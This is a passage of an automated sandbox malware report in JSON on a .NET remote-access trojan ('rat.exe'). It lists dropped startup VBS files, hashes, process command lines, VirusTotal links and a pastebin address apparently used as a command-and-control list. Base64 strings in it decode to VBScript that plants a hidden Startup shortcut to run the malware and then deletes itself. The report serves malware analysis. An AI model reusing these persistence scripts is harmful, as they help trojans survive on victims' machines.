File","process":null,"filename":"startup4770668.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4MzcxODczLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup4770668.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup1295000.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODM3NTE5Mi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1295000.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4Mzc1MTkyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1295000.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup7171143.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODM4NTM1OC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7171143.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4Mzg1MzU4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7171143.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup5581901.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODQ0OTgwOC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup5581901.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4NDQ5ODA4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup5581901.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup2431673.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODY0NTA2MS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2431673.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4NjQ1MDYxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2431673.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup1198516.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODcyNzU0OC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1198516.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4NzI3NTQ4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1198516.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup2162145.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODkxMjYzNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2162145.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4OTEyNjM0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2162145.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup7087234.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODk4MDQwMi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7087234.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4OTgwNDAyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7087234.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"taskkill.exe","strings":[{"value":"dGFza2tpbGwgIC9mIC9pbSBtc2NyLmV4ZQ==","type":"Ansi","source":"Process Commandline","process":null,"filename":"taskkill.exe","compromised":null,"detection_total":null,"total":null}]},{"name":"timeout.exe","strings":[{"value":"dGltZW91dCAgL3QgMSAvbm9icmVhaw==","type":"Ansi","source":"Process Commandline","process":null,"filename":"timeout.exe","compromised":null,"detection_total":null,"total":null}]}],"image":[]},"http_requests":[],"ftp_requests":[],"irc_requests":[],"strings_resources":[],"tags_details":[],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"suricata_alerts":[],"version_info":[{"id":"LegalCopyright","value":"Copyright 2017"},{"id":"Assembly Version","value":"1.0.0.0"},{"id":"InternalName","value":"mscr.exe"},{"id":"FileVersion","value":"1.0.0.0"},{"id":"CompanyName","value":"MicrosoftCorporation"},{"id":"LegalTrademarks","value":null},{"id":"Comments","value":"MicrosoftCorporation"},{"id":"ProductName","value":"MicrosoftCorporation"},{"id":"ProductVersion","value":"1.0.0.0"},{"id":"FileDescription","value":"MicrosoftCorporation"},{"id":"OriginalFilename","value":"mscr.exe"},{"id":"Translation","value":"0x0000 0x04b0"}],"apk_info":null,"apps_info":[{"name":"Access","product":null,"version":null},{"name":"Acrobat Reader","product":"Adobe Reader","version":"11.0.9.29"},{"name":"Chrome","product":"Google Chrome","version":"56.0.2924.87"},{"name":"Excel","product":"Microsoft Office 2010","version":"14.0.4756.1000"},{"name":"Firefox","product":"Firefox","version":"35.0.1"},{"name":"Flash","product":null,"version":null},{"name":"Internet Explorer","product":"Windows Internet Explorer","version":"8.00.7600.16385"},{"name":"Java","product":"Java(TM) Platform SE 8","version":"8.0.25.18"},{"name":"OneNote","product":"Microsoft OneNote","version":"14.0.4763.1000"},{"name":"PowerPoint","product":"Microsoft Office 2010","version":"14.0.4754.1000"},{"name":"Word","product":"Microsoft Office 2010","version":"14.0.4762.1000"}],"architecture":"32 Bit","document":{"author":null,"creator":null,"producer":null,"title":null,"subject":null,"pages":0},"packer":"Microsoft visual C# v7.0 / Basic .NET","file_imports":[{"module":"mscoree.dll","functions":["_CorExeMain"]}],"osint_tags":[],"osint_references":[],"memory_forensics":[{"value":"https://pastebin.com/raw/x0bcwsr3","stream_uid":"148bbeafc216ada39763cde64f0e931f-600000e-Program_getAddressList","stream_modal_data_link":"/bff/report/59e4f6487ca3e1556b572de3/processes/00014871-00003556/streams/0/148bbeafc216ada39763cde64f0e931f-600000e-Program_getAddressList"}],"language":"NEUTRAL","authentihash":"99a72663c8775ea8f4cd086577132af7ec2522c91b685102b49dd8f571c1bece","entrypoint_bytes":null,"pdb_timestamp":null,"pdb_pathway":null,"pdb_guid":null,"file_sections":[{"name":".text","entropy":5.33091187414,"virtual_address":"0x2000","virtual_size":"0x2134","raw_size":"0x2200","md5":"523dc0a5a834f47932addc3ebffbeb69","characteristics":[]},{"name":".rsrc","entropy":3.43981929691,"virtual_address":"0x6000","virtual_size":"0x616","raw_size":"0x800","md5":"c4278b6af92861b820734ee23789e6fa","characteristics":[]},{"name":".reloc","entropy":0.0815394123432,"virtual_address":"0x8000","virtual_size":"0xc","raw_size":"0x200","md5":"382956180b01ebd48ffc72b5fb975502","characteristics":[]}],"file_exports":[],"error":null,"yara_hits":[],"intelligence_mitre_mappings":[],"entrypoint_preview_count":0,"entrypoint_preview_instructions":[],"file_resources":[{"name":"RT_VERSION","rva":"0x60a0","size":"0x38c","type":"DOS executable (COM)","language":"neutral"},{"name":"RT_MANIFEST","rva":"0x642c","size":"0x1ea","type":"XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators","language":"neutral"}],"file_permissions":[],"file_activities":[],"file_receivers":[],"file_data_directories":[],"elf_headers":[],"elf_static_symbols":null,"vba_macros":[],"verdict_source":null,"user_comments":[],"email_headers":null,"classification_tags":[],"tags":[],"submissions":[{"submission_id":"59eb60f77ca3e1284e263532","filename":"mcr.exe","url":null,"created_at":"2017-10-21T10:00:07-05:00"},{"submission_id":"59e4f6487ca3e1556b572de2","filename":"rat.exe","url":null,"created_at":"2017-10-16T13:11:20-05:00"}],"crowdstrike_ai":{"executable_process_memory_analysis":[],"analysis_related_urls":[]},"warnings":["Extracted file \"startup1198516.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/692c43d26205a1e862d71848cf3f4086032515e47618d0b1ce31385c5d4ff86d/analysis/1508177963/\")","Extracted file \"startup1295000.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/254125d8777444be5d4f3b18c65b20ab87619fe4e6bbb918579fc57312bf2e3b/analysis/1508177955/\")","Extracted file \"startup1446647.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/ae9ab26945dad9f8bd1ed35c6d6e3347a2c7d95587e484def9df1ace5f392963/analysis/1508177956/\")","Extracted file \"startup1581107.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/8740ddae699b85764d4d826539159e0e9597f8b59c0948e62549226bdc28a20c/analysis/1508177957/\")","Extracted file \"startup2031697.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/c6ef299b6ae9744c73a31cc459158ea21a3bbcc4c0c835bebdf9642341840866/analysis/1508177961/\")","Extracted file \"startup276877.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/462ae107ac7c1c4857a6895cbc47ed6c8a9cb059e554a1f3e254fb6771987c73/analysis/1508177964/\")","Extracted file \"startup2788310.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/2f7362854e0bfe938a8574b7ffdb54f34f69169ebdea6ed24200ab106ac773ab/analysis/1508177959/\")","Extracted file \"startup2879488.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/46bc5d22d64a3fbb9987683b272997f83cb3ad167cf0d74e7ecc6c444c56a5a5/analysis/1508177955/\")","Extracted file \"startup3197659.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/163dee176e65dc69ac1071e4b944d73834d5b8926c353920b62cc52474939187/analysis/1508177963/\")","Extracted file \"startup5382966.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/33e250f13339fb24cc2ef34ba7b69ddf0f97b40057102acf63de7197fc92e384/analysis/1508177958/\")","Extracted file \"startup5581901.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/ced7bfe17184608927d8180df0d1015543893a7b72131d5f18efb538f4bf0e95/analysis/1508177962/\")","Extracted file \"startup562985.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/19addea587256e8780b0facdb67979b8741ce3d4298b6fbef56acfc0b4222f4a/analysis/1508177960/\")","Extracted file \"startup6687259.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/56feae088773d621f2ca92c97efcc562da38aea73f05ce2296936937b39269e2/analysis/1508177958/\")","Extracted file \"startup7087234.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/633700f7d54914a0c631e1a90626d08564493277407e7cb9855208a66a5d7601/analysis/1508177962/\")","Extracted file \"startup7284813.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/c8bed8065072d5eb130779ee0b89631e9dbf70a33924196f0e44096ac2ccd875/analysis/1508177957/\")","Extracted file \"startup7597624.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/9c3d6fd1ea861c3c4331ccca0cc18c4ac94f62677fbdd8668b31d59392e51e40/analysis/1508177960/\")","Extracted file \"startup7732691.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/34da03ff8ada0995429646f042ab63349c5fbeb069f1b20b7bd269496da43e90/analysis/1508177959/\")","Extracted file \"startup8245793.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/e5aad65d2da21354ac852abcfc11c75afef31c488e24adba37cca825f9dc5753/analysis/1508177956/\")","Extracted file \"startup9069048.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/b01910fe691f813d1b55c94cd2df15986087d4d0e489d72048d56d9fec759872/analysis/1508177962/\")","Extracted file \"startup9321933.vbs\" was unknown to VirusTotal, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/ec39207ac07483dc625bc6c6b799bda6f61d26a09c104d0109e97e514c7aa578/analysis/1508177961/\")","Not all IP/URL string resources were checked online","Not all sources for signature ID \"api-0\" are available in the report","Not all sources for signature ID \"api-2\" are available in the report","Not all sources for signature ID \"api-4\" are available in the report","Not all sources for signature ID \"api-55\" are available in the report","Not all sources for signature ID \"api-64\" are available in the report","Not all sources for signature ID \"api-67\" are available in the report","Not all sources for signature ID \"binary-0\" are available in the report","Not all sources for signature ID \"binary-4\" are available in the report","Not all sources for signature ID \"mutant-0\" are available in the report","Not all sources for signature ID \"registry-1\" are available in the report","Not all sources for signature ID \"registry-17\" are available in the report","Not all sources for signature ID \"registry-18\" are available in the report","Not all sources for signature ID \"registry-19\" are available in the report","Not all sources for signature ID \"registry-20\" are available in the report","Not all sources for signature ID \"registry-25\" are available in the report","Not all sources for signature ID \"registry-35\" are available in the report","Not all sources for signature ID \"target-14\" are available in the report","Not all sources for signature ID \"target-17\" are available in the report","Not all sources for signature ID \"target-25\" are available in the report","Not all sources for signature ID \"target-3\" are available in the report","Sample was unknown to Virus Total, submitted file for scanning (Permalink: \"https://www.virustotal.com/file/4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e/analysis/1508177920/\")","Some runtime data of duplicate spawned processes are suppressed from the report"],"report_related_files":{"report_json":{"file_name":"report.json","download_url":"/bff/report/59e4f6487ca3e1556b572de3/download/files/report_json","file_size":1131588},"memory_strings":{"file_name":"mstrings.zip","download_url":"/bff/report/59e4f6487ca3e1556b572de3/download/files/memory_strings","file_size":5791},"certificate":null,"network_pcap":{"file_name":"network.pcap","download_url":"/bff/report/59e4f6487ca3e1556b572de3/download/files/network_pcap","file_size":115477},"memory_dumps":null},"system_resource_monitor":{"cpu_usage":[{"x":0,"y":99.1218},{"x":1,"y":18.7001},{"x":2,"y":14.1319},{"x":3,"y":13.7971},{"x":4,"y":14.8986},{"x":5,"y":15.0155},{"x":6,"y":13.7316},{"x":7,"y":17.8184},{"x":8,"y":23.9277},{"x":9,"y":19.421},{"x":10,"y":66.4765},{"x":11,"y":19.5386},{"x":12,"y":15.3158},{"x":13,"y":13.214},{"x":14,"y":17.6101},{"x":15,"y":14.3145},{"x":16,"y":17.2371},{"x":17,"y":17.5365},{"x":18,"y":14.9152},{"x":19,"y":17.8603},{"x":20,"y":28.7029},{"x":21,"y":24.8101}],"memory_usage":[{"x":0,"y":14.4031},{"x":1,"y":14.3705},{"x":2,"y":14.3949},{"x":3,"y":14.4181},{"x":4,"y":14.5543},{"x":5,"y":14.8193},{"x":6,"y":15.0476},{"x":7,"y":15.3191},{"x":8,"y":15.3306},{"x":9,"y":15.8315},{"x":10,"y":16.1454},{"x":11,"y":16.3575},{"x":12,"y":16.5938},{"x":13,"y":16.7169},{"x":14,"y":16.9702},{"x":15,"y":17.2069},{"x":16,"y":17.2453},{"x":17,"y":17.4732},{"x":18,"y":17.716},{"x":19,"y":17.9349},{"x":20,"y":18.2865},{"x":21,"y":18.556}],"disk_read":[{"x":0,"y":4409630},{"x":1,"y":343170},{"x":2,"y":13508.2},{"x":3,"y":6142.17},{"x":4,"y":10236.4},{"x":5,"y":93345},{"x":6,"y":21694.1},{"x":7,"y":5322.34},{"x":8,"y":35617.1},{"x":9,"y":141895},{"x":10,"y":19594.3},{"x":11,"y":16728.9},{"x":12,"y":6137.93},{"x":13,"y":5730.98},{"x":14,"y":8189.35},{"x":15,"y":8187.39},{"x":16,"y":2861.78},{"x":17,"y":8186.16},{"x":18,"y":7778.8},{"x":19,"y":7774.17},{"x":20,"y":17954900},{"x":21,"y":11877000}],"disk_write":[{"x":0,"y":1816010},{"x":1,"y":442190},{"x":2,"y":265354},{"x":3,"y":242974},{"x":4,"y":157743},{"x":5,"y":205164},{"x":6,"y":156873},{"x":7,"y":177019},{"x":8,"y":172661},{"x":9,"y":176665},{"x":10,"y":1264060},{"x":11,"y":1241320},{"x":12,"y":676349},{"x":13,"y":266030},{"x":14,"y":125962},{"x":15,"y":249460},{"x":16,"y":128218},{"x":17,"y":91326.8},{"x":18,"y":154655},{"x":19,"y":137634},{"x":20,"y":66445.5},{"x":21,"y":146957}],"network_packets":[{"x":0,"y":25.6963},{"x":1,"y":13.3791},{"x":2,"y":0.0999364},{"x":3,"y":8.29752},{"x":4,"y":4.19853},{"x":5,"y":0},{"x":6,"y":6.89531},{"x":7,"y":11.4947},{"x":8,"y":0.999491},{"x":9,"y":7.49022},{"x":10,"y":6.19515},{"x":11,"y":5.69541},{"x":12,"y":6.09397},{"x":13,"y":2.29863},{"x":14,"y":0.499838},{"x":15,"y":7.89556},{"x":16,"y":10.4801},{"x":17,"y":1.89864},{"x":18,"y":8.59603},{"x":19,"y":5.2944},{"x":20,"y":4.89911},{"x":21,"y":4.49885}],"page_file":[{"x":0,"y":311833000},{"x":1,"y":309580000},{"x":2,"y":309916000},{"x":3,"y":311284000},{"x":4,"y":311816000},{"x":5,"y":314814000},{"x":6,"y":317698000},{"x":7,"y":320893000},{"x":8,"y":320606000},{"x":9,"y":333459000},{"x":10,"y":337867000},{"x":11,"y":339481000},{"x":12,"y":342643000},{"x":13,"y":341316000},{"x":14,"y":345133000},{"x":15,"y":347611000},{"x":16,"y":346952000},{"x":17,"y":349630000},{"x":18,"y":352616000},{"x":19,"y":353980000},{"x":20,"y":358281000},{"x":21,"y":361603000}]},"external_reports":null,"available_buttons":{"report_false_positive":true},"hashes_to_context_check":["4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e","427c995d944006cdbf3484091269fecdccb49b52483faf348c839915f41cc3f7","692c43d26205a1e862d71848cf3f4086032515e47618d0b1ce31385c5d4ff86d","f4eb7519785136b787f4884b60f42034725a35a6cf89c90e16de8f09cad6853e","254125d8777444be5d4f3b18c65b20ab87619fe4e6bbb918579fc57312bf2e3b","77a82532b45c2101b946f55328b5cf90ce4a7a742961f507bd868a24ccd100fa","44f8515ec4229e0f35dadac38052f837a7c6b5b59b6d00c467acbfbe509b24ab","ae9ab26945dad9f8bd1ed35c6d6e3347a2c7d95587e484def9df1ace5f392963","8740ddae699b85764d4d826539159e0e9597f8b59c0948e62549226bdc28a20c","d8837dc8cb3843023ca127071c6b0063fbb3db2d3a3a7a6910d89fb790e2929a","a9a5890c2deaacb428a4604867275d656c398057405475d9a5aac4a5159aef78","c6ef299b6ae9744c73a31cc459158ea21a3bbcc4c0c835bebdf9642341840866","5e53a27fdcd825186cdd9409e26e54ccdd8722b4522fafcfbca6c3ef6a84f3b3","75d8412a2c9fc8ccfbd32bb4460ddf945eb7c295b72580b7f5930b2720d1ebf0","861797cb638639b661018d72c63bb17e7db882c828f0694463a4802e77f16d09","462ae107ac7c1c4857a6895cbc47ed6c8a9cb059e554a1f3e254fb6771987c73","2f7362854e0bfe938a8574b7ffdb54f34f69169ebdea6ed24200ab106ac773ab","46bc5d22d64a3fbb9987683b272997f83cb3ad167cf0d74e7ecc6c444c56a5a5","bd3960c982493eadf651a98f82f3b3a0a64bb90e91b499afca0c29fa0a3cffbc","ca0dd1fd8e1ec087b3d9369eee2d29258fd374936467d18d4ef1a81fc1fe7bc2","163dee176e65dc69ac1071e4b944d73834d5b8926c353920b62cc52474939187","44195f1a6294bd973492bb49eaec9fa9125fae5937ed5e39e65d7f4617596030","c9ea039da8fecaaa3a7adaf567e14245e63ffdb3a6bfb0e71e7db51638bb43bd","e87a9c8c3455333411d42b6c391bc70ec13e25f2100a112bdccbfef01a162a0f","33e250f13339fb24cc2ef34ba7b69ddf0f97b40057102acf63de7197fc92e384","ced7bfe17184608927d8180df0d1015543893a7b72131d5f18efb538f4bf0e95","19addea587256e8780b0facdb67979b8741ce3d4298b6fbef56acfc0b4222f4a","862fe7f6252c774584c89ca57a6ae2bf9a064de510ecfbad84614c6a1c263270","56feae088773d621f2ca92c97efcc562da38aea73f05ce2296936937b39269e2","84e134c7c3ad9adaaa8ab83bc785c32c7ad17103fedf2c57bd778edd9a9d08f5","36752c4cbc38b110699755b0be3534d9c77ab8862a9b8eb931a2679facec9d94","633700f7d54914a0c631e1a90626d08564493277407e7cb9855208a66a5d7601","58b58dc46dea6ffea8de95919f5fb640f7562a0e2c6108b96b5f3c6275cd6bb3","c8bed8065072d5eb130779ee0b89631e9dbf70a33924196f0e44096ac2ccd875","d9569ba20b13fdf5d630ef724a5bc3600f3db83741222b26ad5ae87fc16c690a","257232e2b716c0086122d7cc92461e6e8c9c9b472b26fcec980c93f995d0d27f","9c3d6fd1ea861c3c4331ccca0cc18c4ac94f62677fbdd8668b31